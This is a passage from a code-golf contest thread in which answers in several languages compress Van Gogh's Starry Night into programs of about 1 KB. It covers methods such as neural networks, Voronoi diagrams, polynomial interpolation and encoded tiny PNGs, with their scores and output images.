178a 1718 ....'..j;'.d....\n00000060: 1440 e658 e06a c46d aa81 ac3f c4b7 8262 [[email protected]](/cdn-cgi/l/email-protection)...?...b\n00000070: 398a 39e3 c9b7 6f71 e2ab 37e0 7566 9997 9.9...oq..7.uf..\n00000080: 54eb eb95 0076 0adf 103c f34c 0b4e e528 T....v...<.L.N.(\n00000090: a2df 6b4a 7a02 011a 10a9 2cf0 2edc 9f6f ..kJz.....,....o\n000000a0: 33f3 5c96 9e83 fadb a2fa 80fc 5179 3906 3.\\.........Qy9.\n000000b0: 9596 4960 8997 7225 edb1 9db5 435e fdd8 ..I`..r%....C^..\n000000c0: 08a6 112f 32de c1a5 3db8 160f b729 649a .../2...=....)d.\n000000d0: 51fa 08e8 dcfa 11e0 b763 61e6 02b3 5dbb Q........ca...].\n000000e0: 6e64 be69 3939 b5b2 d196 5b85 7991 bda5 nd.i99....[.y...\n000000f0: 087a f3c0 6b76 b1d0 bb29 f7a4 29a3 e21a .z..kv...)..)...\n00000100: 3b1b 97ae 1d1b 1e0f f3c7 9759 2458 c2db ;..........Y$X..\n00000110: 386f 5fbb a166 9f27 2910 a1b5 cfcc d8db 8o_..f.').......\n00000120: afaf bdb4 573d efb1 399b e160 6acf e14b ....W=..9..`j..K\n00000130: 4c6b 957a 245a 6f87 63c7 737d 6218 6ab2 Lk.z$Zo.c.s}b.j.\n00000140: e388 a0b3 2007 1ddf b55c 7266 4333 f3a2 .... ....\\rfC3..\n00000150: d58f d80b a3a6 c6c1 d474 58f3 274b 6d32 .........tX.'Km2\n00000160: 9d72 b674 7cc4 fdf6 6b86 fb45 1219 cc5c .r.t|...k..E...\\\n00000170: 7244 396d 1411 d734 a796 ff54 cf1f 119d rD9m...4...T....\n00000180: 91af 5eab 9aad 4300 1dae d42e 13f8 62a1 ..^...C.......b.\n00000190: a894 ab0b 9cb1 5ee2 bb63 1fff 3721 2328 ......^..c..7!#(\n000001a0: 7609 34f5 fcfe f486 46e9 dfa8 9885 4dac v.4.....F.....M.\n000001b0: f464 3666 e8b9 cd82 1159 8434 95e8 5901 .d6f.....Y.4..Y.\n000001c0: f0f5 426c ef53 6c7e ad28 60f6 8dd8 edaa ..Bl.Sl~.(`.....\n000001d0: 8784 a966 81b6 dc3a e0ea d5bf 7f15 683e ...f...:......h>\n000001e0: 93f2 23ae 0845 c218 6bdc f47c 08e8 41c2 ..#..E..k..|..A.\n000001f0: 950e f309 d1de 0b64 5868 924e 933e 7ab8 .......dXh.N.>z.\n00000200: dab7 8efb b53a 5413 c64b 48e6 fc4d 26fe .....:T..KH..M&.\n00000210: 594a 7d6b 2dd0 914e 6947 afa7 614d b605 YJ}k-..NiG..aM..\n00000220: 8737 554e 31bc b21c 3673 76bf fb98 94f8 .7UN1...6sv.....\n00000230: 1a7d 0030 3035 2ce6 c302 f6c2 5434 5f74 .}.005,.....T4_t\n00000240: c692 349a a33e b327 425c 22e8 8735 37e1 ..4..>.'B\\\"..57.\n00000250: 942a 2170 ef10 ff42 b629 e572 cd0f ca4f .*!p...B.).r...O\n00000260: 5d52 247d 3e62 6d9a d71a 8b01 4826 d54b ]R$}>bm.....H&.K\n00000270: f26f fe8e d33d efb5 30a8 54fb d50a 8f44 .o...=..0.T....D\n00000280: a3ac 170a b9a0 e436 50d5 0589 6fda 674a .......6P...o.gJ\n00000290: 26fb 5cf6 27ef 714e fe74 64fa d487 afea &.\\.'.qN.td.....\n000002a0: 09f7 e1f1 21b6 38eb 54cd c736 2afa d031 ....!.8.T..6*..1\n000002b0: 853c 8890 8cc0 7fab 5f15 91d5 de6e 460f .<......_....nF.\n000002c0: 4b95 6a4d 02e4 7824 1bbe ae36 5e6c 0acd K.jM..x$...6^l..\n000002d0: 0603 b86c f9fd a299 480f 4123 627e 951f ...l....H.A#b~..\n000002e0: a678 3510 912c 26a6 2efc f943 af96 53cd .x5..,&....C..S.\n000002f0: 3f6c 435c cbae 832f 316c e90e 01e7 8fd6 ?lC\\.../1l......\n00000300: 3e6d d7b4 fffb cd4a 69c7 5f23 2fe7 bf52 >m.....Ji._#/..R\n00000310: 3632 3990 17ed 045a b543 8b79 8231 bc9b 629....Z.C.y.1..\n00000320: 4452 0f10 b342 3e41 6e70 187c 9cb2 7eb5 DR...B>Anp.|..~.\n00000330: cdff 5c22 9e34 618f b372 8acf 4172 a220 ..\\\".4a..r..Ar. \n00000340: 0136 3eff 2702 dc5d b946 076d e5fd 6045 .6>.'..].F.m..`E\n00000350: 8465 661a 1c6e b6c8 595f 6091 daf2 103b .ef..n..Y_`....;\n00000360: 23ab 343a 2e47 95cf 4218 7bf5 8a46 0a69 #.4:.G..B.{..F.i\n00000370: dabb 4b8d 7f9b b0c1 23b1 c917 839c 358c ..K.....#.....5.\n00000380: b33c de51 e41c e84d 12bf 8379 f4c5 65fa .<.Q...M...y..e.\n00000390: 0b65 7fe7 e1a0 fb0e 30f4 a7d2 b323 3400 .e......0....#4.\n000003a0: 15e8 8a48 5d42 9a70 3979 7bba abf5 4b80 ...H]B.p9y{...K.\n000003b0: b239 4ceb d301 89f8 9f4d 5ce6 8caa 2a74 .9L......M\\...*t\n000003c0: ca1b 9d3f f934 0622 3933 2e77 6d6d 2b4a ...?.4.\"93.wmm+J\n000003d0: 4b73 4d3e 332e 574a 615a 6332 3536 685e KsM>3.WJaZc256h^\n000003e0: 3463 732a 4c2d 3436 2e29 4a5a 3138 3739 4cs*L-46.)JZ1879\n000003f0: 5b32 3739 6b33 6429 3338 3620 3332 30 [279k3d)386 320\n```\n### How it works\n```\nKjC\"…\"93\n C\"…\" convert the long binary string to an integer in base 256\n j 93 list its base 93 digits\nK assign to K\n.wmm+JKsM>3.WJaZc256h^4cs*L-46.)JZ1879[279k3d)386 320\n m 320 map for d in [0, …, 319]:\n m 386 map for k in [0, …, 385]\n JK copy K to J\n [279k3d) initialize value to [3*93, k, 3, d]\n .WJ while J is nonempty, replace value with\n *L Z map over value, multiplying by\n .)J pop back of J\n -46 subtract from 46\n s sum\n c 1879 divide by 1879\n ^4 exponentiate with base 4\n h add 1\n c256 256 divided by that\n aZ append to value\n >3 last three elements of the final value\n sM floor to integers\n.w write that matrix of RGB triples as image o.png\n```\n### Training\nDuring my final training run, I used a much slower quantization schedule and did some interactive fiddling with that and the learning rate, but the code I used was roughly as follows.\n```\nfrom __future__ import division, print_function\nimport sys\nimport numpy as np\nimport tensorflow as tf\nNEURONS, SCALE_BASE, SCALE_DIV, BASE, MID = 48, 8, 3364, 111, 55\ndef idx(n):\n return n * (n - 1) // 2 - 3\nWEIGHTS = idx(NEURONS)\nSCALE = SCALE_DIV / np.log(SCALE_BASE)\nW_MIN, W_MAX = -MID, BASE - 1 - MID\nsess = tf.Session()\nwith open('ORIGINAL.png', 'rb') as f:\n img = sess.run(tf.image.decode_image(f.read(), channels=3))\ny_grid, x_grid = np.mgrid[0:img.shape[0], 0:img.shape[1]]\nx = tf.constant(x_grid.reshape([-1]).astype(np.float32))\ny = tf.constant(y_grid.reshape([-1]).astype(np.float32))\ncolor_ = tf.constant(img.reshape([-1, 3]).astype(np.float32))\nw_real = tf.Variable(\n np.random.uniform(-16, 16, [WEIGHTS]).astype(np.float32),\n constraint=lambda w: tf.clip_by_value(w, W_MIN, W_MAX))\nquantization = tf.placeholder(tf.float32, shape=[])\nw_int = tf.round(w_real)\nqrate = 1 / (tf.abs(w_real - w_int) + 1e-6)\nqscale = 0\nfor _ in range(16):\n v = tf.exp(-qscale * qrate)\n qscale -= ((1 - quantization) * WEIGHTS - tf.reduce_sum(v)) / \\\n tf.tensordot(qrate, v, 1)\nunquantized = tf.distributions.Bernoulli(\n probs=tf.exp(-qscale * qrate), dtype=tf.bool).sample()\nnum_unquantized = tf.reduce_sum(tf.cast(unquantized, tf.int64))\nw = tf.where(unquantized, w_real, w_int)\na = tf.stack([tf.ones_like(x) * 256, x, y], 1)\nfor n in range(3, NEURONS):\n a = tf.concat([a, 256 * tf.sigmoid(\n tf.einsum('in,n->i;', a, w[idx(n):idx(n + 1)]) / SCALE)[:, None]], 1)\ncolor = a[:, -3:]\nerr = tf.reduce_sum(tf.square((color - 0.5 - color_) / 255))\ntrain_step = tf.train.AdamOptimizer(0.01).minimize(err, var_list=[w_real])\nsess.run(tf.global_variables_initializer())\ncount = 0\nquantization_val = 0\nbest_err = float(\"inf\")\nwhile True:\n num_unquantized_val, err_val, w_val, _ = sess.run(\n [num_unquantized, err, w, train_step],\n {quantization: quantization_val})\n if num_unquantized_val == 0 and err_val < best_err:\n print(end='\\r\\x1b[K', file=sys.stderr)\n sys.stderr.flush()\n print(\n 'weights', list(w_val.astype(np.int64)),\n 'count', count, 'err', err_val)\n best_err = err_val\n count += 1\n print(\n '\\r\\x1b[Kcount', count, 'err', err_val,\n 'unquantized', num_unquantized_val, end='', file=sys.stderr)\n sys.stderr.flush()\n quantization_val = (1 - 1e-4) * quantization_val + 1e-4\n```\n### Visualization\nThis picture shows the activations of all 45 neurons as a function of the *x*, *y* coordinates. Click to enlarge.\n[![neuron activations](https://i.stack.imgur.com/Qfudm.png)](https://i.stack.imgur.com/Qfudm.png)\n[Answer]\n# Mathematica, score 14125.71333\n```\n\"a.png\"~Export~ConstantImage[{28,34,41}/95,{386,320}]\n```\nSaves this image:\n![](https://i.stack.imgur.com/Y5hU0.png)\nto `a.png`.\n[Answer]\n## Java, 7399.80678201\nThis reminded me of a project I had in my numerical computations class a few semesters back, which was to draw a silhouette of Mount Everest using polynomial interpolation. That was done in MATLAB, but I'm not very fond of MATLAB, so I decided to work in Java. The basic idea behind it is that I chose \"smart\" points (read here as \"random\") for the polynomial interpolation. With the few bytes I had left, I created a way for the stars to be drawn, which happens before the drawing of the mountain. It may be possible to condense the code and add another polynomial for the bottom to help better the score.\nEdit: I've made added and changed some of the polynomials and added all of the stars. My previous score was a 9807.7168935, so as you can see it is a very big improvement. Unfortunately the code took a hit in its readability because I had to squeeze out the last few bytes to get all of the stars, and give them groups.\n```\nimport java.awt.image.*;\npublic class Y{public static void main(String[]a)throws Exception{\nint w=386;int[]s={5819,18,5530,9,8644,7,11041,16,21698,14,22354,40/**/,4326,4,29222,14,40262,9,56360,8,59484,12,65748,24};\ndouble[][]p={{-1},{88},{85,0.284,-0.0064,2.028e-5},{128,0.18},{180,0.674,-0.00473,6.65e-6},{240,-0.181},{272,-0.1167},{273,0.075},{3270,-95.57,0.7},{854,-9.83,0.0381}};\nint[]c={-12561790,-11439717,-10981487,-11836288,-9600372,-13088667,-13287091,-13354436,-14275540,-14736605};\nint o=p.length;BufferedImage b=new BufferedImage(w,320,1);\nint i=0;for(;im)b.setRGB(l%w,l/w,c[i]);}\n}\njavax.imageio.ImageIO.write(b,\"png\",new java.io.File(\"o.png\"));\n}\n}\n```\n9807.7168935 points: \n[![submission image](https://i.stack.imgur.com/atZE8.png)](https://i.stack.imgur.com/atZE8.png) \n7399.80678201 points: \n[![New submission image](https://i.stack.imgur.com/GlfBa.png)](https://i.stack.imgur.com/GlfBa.png)\n[Answer]\n# Python3.4+, 4697.26\nI used the same method as in my ImageMagick answer, but with the following parameters:\n```\nconvert ORIGINAL.png -filter Lanczos2 -resize x32 - | pngquant --speed 1 -f 20 > i\n```\nUsing these parameters I generated the following 1003 byte Python program (I didn't find any improvements over @kennytm's output method):\n```\nimport base64,io,PIL.Image\nPIL.Image.open(io.BytesIO(base64.b85decode('iBL{Q4GJ0x0000DNk~Le0000d0000W2m=5B0H%16zW@LLJWxzjMIIp@MPHIFJ#$E2f;B{2CoMBscAryil4g95I81|Zh@Ln+fAa)ZE?UH1H4;-#jy7d3XUzpreH6$%YFH{Ofn-d0cv*IqjHQQU+M=7PX5(65sP+;Sbo9=+q2n+8p!-Vw8kW>i%<+}8cQmp`7FKsM?maF*)_e&%vv>nKK;O9GnTVux79!MU;XJ(P4OxFsdP$0OPRyX9b--+5K2xN0yhh}oR+t?_naKqIwRUjVG5yhoON#6r~Pv6ekHzgk~o3d4gyuJL`u_K5Ca>QWmKD%@0G*T5|2ap)6YJolVN{skh#D2-J*z9sSwJGT&-{_=mG9vyzZf!umCPV=nDpY_PnlC(U%vg$wXwH`cZEO(oS$M*5D=xu#wxzx3!2Zo>s9W*kYzx=A=N>*_{sW%pHRqD>^@zKSEq$TGjvKY#BrP)@HRR163l}43&{y(F((e1rtc2!^X2mO6y&o}IoM9kipbs;pkitE08H7@&wK|if_I*zRFxSRUz9?^ZFg`m^?krP_gDeQ=7dy{4cvhr8>bv`&qy7v&oe)U74a}D9r0Z20f*zxY<|S}V_D!tCjlc()f7Quj1fd$ZJs(Vr6?~D#H%1mH_FaU0|12sV9)OKBnxI$()5d@YBM2xYIb)G!>9@_oL00000NkvXXu0mjf'))).resize((386,320),1).save('a.png')\n```\nSimply rescale from a 18×13 PNG image.\n![enter image description here](https://i.stack.imgur.com/V6qi6.png)\n[Answer]\n## Java, 8748.95\nAnother approach:\nI created a class that computes a [Voronoi Diagram](https://en.wikipedia.org/wiki/Voronoi_diagram) from a given set of points. This set of points is used as the parameter set that serves as the input for the [Apache BOBYQAOptimizer](https://commons.apache.org/proper/commons-math/apidocs/org/apache/commons/math3/optim/nonlinear/scalar/noderiv/BOBYQAOptimizer.html). The evaluation function of the optimizer takes the points and creates a voronoi diagram from them. The voronoi regions are colored with the average color of the corresponding region of the original image.\nThe optimization process is shown here: \n[![StarryNightAnimation](https://i.stack.imgur.com/CGWog.gif)](https://i.stack.imgur.com/CGWog.gif)\nThe final image is this one:\n[![StarryNight](https://i.stack.imgur.com/Rbopx.png)](https://i.stack.imgur.com/Rbopx.png)\nwhich achieves are score of 8748.95 \n(This was measured with my own function, but should be the same as with the evaluation script)\nThe result of this process is only a set of 8 points and the corresponding colors. (A higher number of points caused worse results, but I didn't try this out really extensively). \nThe resulting code is shown here (sorry, I had to golf it a little to squeeze it into the 1kB limit) :\n```\nimport java.awt.Point;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.util.Arrays;\nimport java.util.List;\nimport javax.imageio.ImageIO;\nclass V { public static void main(String[] args) throws Exception {\nBufferedImage i = new BufferedImage(386,320,2); f(i, Arrays.asList(\n 275,159,247,237,46,115,108,313,244,267,59,116,94,111,219,166\n),Arrays.asList(\n -10127225,-13022618,-11310968,-14341589,-13551293,-14209747,-11311484,-10915442\n)); ImageIO.write(\ni, \"png\", new File(\"x.png\"));}static void f(BufferedImage i, List p, \nList c){int x,y,r=0; Point q = new Point(), a=new Point(); for (y=0; \ny \n> EDIT:\n> \n> \n> \nIn response to the comment, regarding the artistic style of such a voronoi image with a larger number of points: This indeed looks interesting, and some imaging tools actually offer this as a \"Mosaic Filter\" - for example, the [Mosaic Filter in GIMP](https://docs.gimp.org/en/plug-in-mosaic.html) (although this offers options to emphasize the edges etc.). \nHere is an example of the Starry Night image, with 256 points. (These are selected randomly, but with a larger number of points, the improvement that could be achieved by an optimization will vanish). \n**This is not part of the contest** (as it does not fit into 1kB), just for the curious:\n[![StarryNightMosaic](https://i.stack.imgur.com/HHkzo.png)](https://i.stack.imgur.com/HHkzo.png)\n[Answer]\n## [AutoIt](http://autoitscript.com/forum), ~~9183.25~~ 7882.53\n**UPDATE**\nSo it turns out that redrawing the image like a (drunk) toddler is more effective than storing any version of the image. (More effective than *my* old solution anyway). \nEvery line that draws an element is crucial to decreasing the score. I suspect this program is capable of achieving scores well below 7000 with very minor modifications, because every single change has huge (~20 to 100 points) effects on the score. The program uses my [`processing`](https://autoit.de/index.php/Thread/33166-8-Graphic-Beispiele/) graphics library that provides terse function names for drawing using GDI.\nSince this solution involves randomness, we seed the PRNG using the constant value `0` using `SRandom(0)`. Why 0? Because it is up to 50 points better than any other `n<=100` I tried.\nThe canvas starts out as a blank `#587092`.\n**Generating the floor**\nThe lower part of the image (which it turns out begins at *exactly* 233px [again, because of points]) is filled with exactly `int(1e4*2.9)` ellipses. Changing the factor here (or a decimal place of the factor) can de- and increase the score by hundres of points. I settled for 2.9 after a few tries. Naturally this will take some time (few seconds).\nA five-color palette is supplied:\n```\nDim $3=[0x202526,0x48555A,0x394143,0x364458,0x272E3A]\nFor $n=1 To 1e4*2.9\n$c=$3[$6(0,4,1)]\npen($2,$c,$c)\n$4($2,$6(0,386),$6(233,320),4,3)\nNext\n```\n**Blobs on the floor**\nFour ellipses are used to set contrasty accents inside the floor area (`$4` is a function pointer to `ellipse()`):\n```\npen($2,0x1E221F,0x1E221F)\n$4($2,44,44,37,290)\n$4($2,40,200,99,130)\n$4($2,245,270,30,20)\n$4($2,355,165,30,20)\n```\n**Generating accents in the sky**\nSome lines are drawn using a thicker pen to represent significant color areas inside the sky that a stretched too much for ellipses:\n```\n$4($2,333,193,50,31)\npensize($2,10)\npen($2,0x24292E,0x24292E)\nmove($2,0,250)\nlinestep($2,386,175)\npen($2,0x9FAC9C,0x9FAC9C)\n$4($2,333,120,66,33)\nmove($2,215,190)\nlinestep($2,340,140)\n```\n**Weighing the pixels**\nAfter the above, all is rinse and repeat until we run out of bytes. Then a blur is applied to trick the validation method. By brute force, it has been determined that a radius of exactly 20 provides the best result. This improves the score by round about 1.5k(!).\n**Final image**\n[![toddler drawing](https://i.stack.imgur.com/Q6qUw.png)](https://i.stack.imgur.com/Q6qUw.png)\n**Code, [985 bytes](https://mothereff.in/byte-counter#%23include%3CScreenCapture.au3%3E%0A%23include%3CGDIPlus.au3%3E%0A%23include%3Cprocessing.au3%3E%0ASRandom%280%29%0A%244%3Dellipse%0A%246%3DRandom%0A%241%3DGUICreate%280%2C386%2C320%29%0Acolor%280x587092%29%0A%242%3Dsize%280%2C0%29%0ADim%20%243%3D%5B0x202526%2C0x48555A%2C0x394143%2C0x364458%2C0x272E3A%5D%0AFor%20%24n%3D1%20To%201e4%2a2.9%0A%24c%3D%243%5B%246%280%2C4%2C1%29%5D%0Apen%28%242%2C%24c%2C%24c%29%0A%244%28%242%2C%246%280%2C386%29%2C%246%28233%2C320%29%2C4%2C3%29%0ANext%0Apen%28%242%2C0x1E221F%2C0x1E221F%29%0A%244%28%242%2C44%2C44%2C37%2C290%29%0A%244%28%242%2C40%2C200%2C99%2C130%29%0A%244%28%242%2C245%2C270%2C30%2C20%29%0A%244%28%242%2C355%2C165%2C30%2C20%29%0Apen%28%242%2C0x506E9B%2C0x506E9B%29%0A%244%28%242%2C333%2C193%2C50%2C31%29%0Apensize%28%242%2C10%29%0Apen%28%242%2C0x24292E%2C0x24292E%29%0Amove%28%242%2C0%2C250%29%0Alinestep%28%242%2C386%2C175%29%0Apen%28%242%2C0x9FAC9C%2C0x9FAC9C%29%0A%244%28%242%2C333%2C120%2C66%2C33%29%0Amove%28%242%2C215%2C190%29%0Alinestep%28%242%2C340%2C140%29%0A%244%28%242%2C105%2C145%2C40%2C40%29%0A%244%28%242%2C315%2C15%2C70%2C70%29%0A%244%28%242%2C215%2C15%2C30%2C30%29%0Apen%28%242%2C-1%2C0xB6A73F%29%0A%244%28%242%2C330%2C30%2C40%2C40%29%0A%244%28%242%2C20%2C5%2C20%2C20%29%0A%244%28%242%2C115%2C155%2C30%2C30%29%0AGUISetState%28%29%0ASleep%2899%29%0A%5fGDIPlus%5fStartup%28%29%0A%245%3D%5fGDIPlus%5fBitmapCreateFromHBITMAP%28%5fScreenCapture%5fCaptureWnd%28%22%22%2C%241%2C1%2C26%2C386%2C345%2C0%29%29%0A%5fgdiplus%5fImageSaveToFile%28%245%2C%5fGDIPlus%5fBitmapApplyEffect%28%245%2C%5fGDIPlus%5fEffectCreateBlur%2820%29%29%26%22.png%22%29)**\n```\n#include\n#include\n#include\nSRandom(0)\n$4=ellipse\n$6=Random\n$1=GUICreate(0,386,320)\ncolor(0x587092)\n$2=size(0,0)\nDim $3=[0x202526,0x48555A,0x394143,0x364458,0x272E3A]\nFor $n=1 To 1e4*2.9\n$c=$3[$6(0,4,1)]\npen($2,$c,$c)\n$4($2,$6(0,386),$6(233,320),4,3)\nNext\npen($2,0x1E221F,0x1E221F)\n$4($2,44,44,37,290)\n$4($2,40,200,99,130)\n$4($2,245,270,30,20)\n$4($2,355,165,30,20)\npen($2,0x506E9B,0x506E9B)\n$4($2,333,193,50,31)\npensize($2,10)\npen($2,0x24292E,0x24292E)\nmove($2,0,250)\nlinestep($2,386,175)\npen($2,0x9FAC9C,0x9FAC9C)\n$4($2,333,120,66,33)\nmove($2,215,190)\nlinestep($2,340,140)\n$4($2,105,145,40,40)\n$4($2,315,15,70,70)\n$4($2,215,15,30,30)\npen($2,-1,0xB6A73F)\n$4($2,330,30,40,40)\n$4($2,20,5,20,20)\n$4($2,115,155,30,30)\nGUISetState()\nSleep(99)\n_GDIPlus_Startup()\n$5=_GDIPlus_BitmapCreateFromHBITMAP(_ScreenCapture_CaptureWnd(\"\",$1,1,26,386,345,0))\n_gdiplus_ImageSaveToFile($5,_GDIPlus_BitmapApplyEffect($5,_GDIPlus_EffectCreateBlur(20))&\".png\")\n```\n---\n**OLD ANSWER**\nThis stores 80 color values which make up a 10x8 px picture. This raw picture has a score of 10291. Since 10x8 is a pixelation factor of 40px, a Gaussian blur is applied using a radius of 40px to lower the score. This is how the script achieves 9183.25.\nThis is the stored data:\n[![raw data](https://i.stack.imgur.com/zBP6U.jpg)](https://i.stack.imgur.com/zBP6U.jpg)\nThe file produced is True.png:\n[![picture](https://i.stack.imgur.com/eGDKt.png)](https://i.stack.imgur.com/eGDKt.png)\nThe program is [998 bytes](https://mothereff.in/byte-counter#%23include%3CScreenCapture.au3%3E%0A%23include%3CGDIPlus.au3%3E%0A%241%3DGUICreate%280%2C386%2C320%29%0A%244%3D0%0AFor%20%243%3D0%20To%207%0AFor%20%242%3D0%20To%209%0AGUICtrlSetBkColor%28GUICtrlCreateLabel%28%22%22%2C%242%2a40%2C%243%2a40%2C40%2C40%29%2CDec%28StringSplit%28%221B2A56%2C3D5183%2C39487B%2C3E4D7E%2C313C72%2C2B375B%2C333C6F%2C6E7A8F%2C878D8A%2C868985%2C4E6590%2C344992%2C344590%2C3E5793%2C485C9C%2C6A7BA0%2C525C65%2C637B8F%2C96A48D%2C92A0A0%2C758087%2C465D84%2C3D5C94%2C4A6387%2C496498%2C6A83A4%2C778F97%2C607A8F%2C6A8498%2C727E6E%2C72878D%2C65747E%2C586D83%2C71889D%2C476792%2C57708B%2C68899E%2C7A959A%2C708892%2C808789%2C728282%2C4C5747%2C415458%2C5C778B%2C5A6E80%2C4C6C94%2C63848E%2C656D6F%2C6A7687%2C75858F%2C434E63%2C29343D%2C263036%2C4C574D%2C6B747A%2C506895%2C2D4871%2C1D2F46%2C3D4C46%2C434E7A%2C2B2D2A%2C151B1D%2C282723%2C121727%2C23312F%2C26343C%2C213537%2C1E282E%2C414861%2C444F45%2C887E6B%2C434133%2C262216%2C352D26%2C3E3522%2C34322E%2C444040%2C352F36%2C444551%2C3F4047%22%2C%22%2C%22%2C3%29%5B%244%5D%29%29%0A%244%2B%3D1%0ANext%0ANext%0AGUISetState%28%29%0ASleep%282e3%29%0A%5fGDIPlus%5fStartup%28%29%0A%245%3D%5fGDIPlus%5fBitmapCreateFromHBITMAP%28%5fScreenCapture%5fCaptureWnd%28%22%22%2C%241%2C1%2C26%2C386%2C345%2C0%29%29%0A%5fgdiplus%5fImageSaveToFile%28%245%2C%5fGDIPlus%5fBitmapApplyEffect%28%245%2C%5fGDIPlus%5fEffectCreateBlur%2840%29%29%26%22.png%22%29) long:\n```\n#include\n#include\n$1=GUICreate(0,386,320)\n$4=0\nFor $3=0 To 7\nFor $2=0 To 9\nGUICtrlSetBkColor(GUICtrlCreateLabel(\"\",$2*40,$3*40,40,40),Dec(StringSplit(\"1B2A56,3D5183,39487B,3E4D7E,313C72,2B375B,333C6F,6E7A8F,878D8A,868985,4E6590,344992,344590,3E5793,485C9C,6A7BA0,525C65,637B8F,96A48D,92A0A0,758087,465D84,3D5C94,4A6387,496498,6A83A4,778F97,607A8F,6A8498,727E6E,72878D,65747E,586D83,71889D,476792,57708B,68899E,7A959A,708892,808789,728282,4C5747,415458,5C778B,5A6E80,4C6C94,63848E,656D6F,6A7687,75858F,434E63,29343D,263036,4C574D,6B747A,506895,2D4871,1D2F46,3D4C46,434E7A,2B2D2A,151B1D,282723,121727,23312F,26343C,213537,1E282E,414861,444F45,887E6B,434133,262216,352D26,3E3522,34322E,444040,352F36,444551,3F4047\",\",\",3)[$4]))\n$4+=1\nNext\nNext\nGUISetState()\nSleep(2e3)\n_GDIPlus_Startup()\n$5=_GDIPlus_BitmapCreateFromHBITMAP(_ScreenCapture_CaptureWnd(\"\",$1,1,26,386,345,0))\n_gdiplus_ImageSaveToFile($5,_GDIPlus_BitmapApplyEffect($5,_GDIPlus_EffectCreateBlur(40))&\".png\")\n```\n[Answer]\n# Python 2, 4749.88\n1018 bytes\nEverybody has probably forgotten about this problem by now, except me....\nThis problem interested me far too much, especially as it quickly became apparent that approaches using image compression algorithms were definitely in the lead, but yet somehow unsatisfying from an aesthetic standpoint. Approaches based on optimizing a set of drawing primitives were somehow more pleasing from a code aesthetic point of view, but seemed blocked just above the 5000 score.\nnneonneo's method that did not use an off the shelf image compression beats the 5000 mark, but does so by encoding a tiny image and upscaling it.\nHere is a program that uses drawing primitives only, is generated automatically by an optimization method, and manages to get a score of 4749.88.\n```\nimport cv2 as v,numpy as n,struct\nz=n.ones((320,386,3),'u1')\nz[:]=145,106,81\nz[226:]=80,67,56\ns='v\\n#{~X©s\"¾|ën²ºÉ¬ª·.v\"4Á=ð.yv>ä;¦>t?ÞC°GòS¾ó[pQ¹,g]xgQÒWµló´:eX K² }w¯hVZ[ÂbD¹t¦\\n§1±\"}¼e®`h¸B½qò¥èJÕN©²f­J¦ü ³|©t| \\rÕ5SO©¾zP±¤Od\\rÆ¥L©|¸B{I¯Öb~¯½ÒdzQ½}}D«s\\x8ewxK ^pMz2L5`mce|ÙvlRcnJqw3|ÿGZ:s4\\r]r. ÝX,(\\n*÷¹òW@Àà´IºäQ,pfuQhØvTzDÂ\\\\NnbSbº |!1o0»5,fSñ8¿-VÇ4}¡$y  ­S(Y³ek.MÌ  wdvB\\n r³UƨJÒ^<©èf#}<©lux6º}\\0SÑP{\\0TBÏx°A~w00ÃU)\\x8e\\n½Iá\\0TòKUVmWOTæ¢ynLrXYKº\\npkJWÀw«g\"Sh4kIg\"|[pÞ££ì$OH\\\\³>°nu9|6Õ¼¡.A2qrÀ\\\\ZýzE{mwG]+YHÃèrälT·¥DNN\\0T'\nm,h=512,62\nfor a,b,c,d,r in[struct.unpack('HHBBB',s[7*i:7*i+7])for i in range(92)]:\n x,y=a/m-h,b/m-h\n for k in range(h):v.circle(z,(a%m-h+x*k/h,b%m-h+y*k/h),r,n.clip((.9*c+.9*d-120,c-.3*d+41,.9*c-.6*d+80),0,255),-1)\nv.imwrite('a.png',v.blur(z,(9,9)))\n```\nwhich looks like this:\n![drawing result](https://i.stack.imgur.com/zxwty.png)\nand the hexdump of the code:\n```\n0000000: efbb bf69 6d70 6f72 7420 6376 3220 6173 ...import cv2 as\n0000010: 2076 2c6e 756d 7079 2061 7320 6e2c 7374 v,numpy as n,st\n0000020: 7275 6374 0a7a 3d6e 2e6f 6e65 7328 2833 ruct.z=n.ones((3\n0000030: 3230 2c33 3836 2c33 292c 2775 3127 290a 20,386,3),'u1').\n0000040: 7a5b 3a5d 3d31 3435 2c31 3036 2c38 310a z[:]=145,106,81.\n0000050: 7a5b 3232 363a 5d3d 3830 2c36 372c 3536 z[226:]=80,67,56\n0000060: 0a73 3d27 8076 5c6e 0523 8414 9d7b 7e58 .s='.v\\n.#...{~X\n0000070: a973 22be 7ceb 6eb2 8416 ba05 c9ac aa8b .s\".|.n.........\n0000080: 13b7 2e76 0522 8434 c13d f08a 2e95 0e79 ...v.\".4.=.....y\n0000090: 763e e43b a60b 3e74 3fde 43b0 0b9e 9247 v>.;..>t?.C....G\n00000a0: f253 be0e 0cf3 5b70 51b9 1a2c 675d 7889 .S....[pQ..,g]x.\n00000b0: 850f 6719 51d2 57b5 116c 05f3 909a 940c ..g.Q.W..l......\n00000c0: b405 3a65 58a0 114b b220 7d77 af0b 6856 ..:eX..K. }w..hV\n00000d0: 835a 5bc2 1562 44b9 749b a65c 6e90 0701 .Z[..bD.t..\\n...\n00000e0: a731 9807 9107 b122 7dbc 1265 05ae 6068 .1.....\"}..e..`h\n00000f0: b80c 42bd 71f2 9ca5 01e8 4ad5 4e8d a90e ..B.q.....J.N...\n0000100: 1291 b266 93ad 0c4a a6fc 9e9a 8d09 b37c ...f...J.......|\n0000110: a974 937c 095c 72d5 3553 4fa9 1d9d 94be .t.|.\\r.5SO.....\n0000120: 7a50 b10e a44f 8064 851e 5c72 8fc6 a54c zP...O.d..\\r...L\n0000130: 8ba9 0f81 7cb8 421c 7b07 49af d662 7eaf ....|.B.{.I..b~.\n0000140: 1abd d264 7a51 bd0b 7d87 7d44 ab73 0b8c ...dzQ..}.}D.s..\n0000150: 5c78 3865 7778 874b 095e 704d 7a91 3207 \\x8ewx.K.^pMz.2.\n0000160: 4c35 606d 0b63 0865 7cd9 769e 6c0b 5263 L5`m.c.e|.v.l.Rc\n0000170: 8b6e 9a82 0b4a 7113 7733 9c0b 9f7c ff86 .n...Jq.w3...|..\n0000180: 479b 0b5a 143a 7334 9d5c 7282 965d 722e G..Z.:s4.\\r..]r.\n0000190: 9509 dd58 2c9d 288c 5c6e 2a1f f796 938c ...X,.(.\\n*.....\n00001a0: 07b9 f20f 5792 8907 40c0 e0b4 49ba 02e4 [[email protected]](/cdn-cgi/l/email-protection)...\n00001b0: 9c51 9d2c 8a0e 7066 7551 1168 03d8 7654 .Q.,..pfuQ.h..vT\n00001c0: 7a88 4406 c25c 5c4e 6e95 0101 6253 1c8f 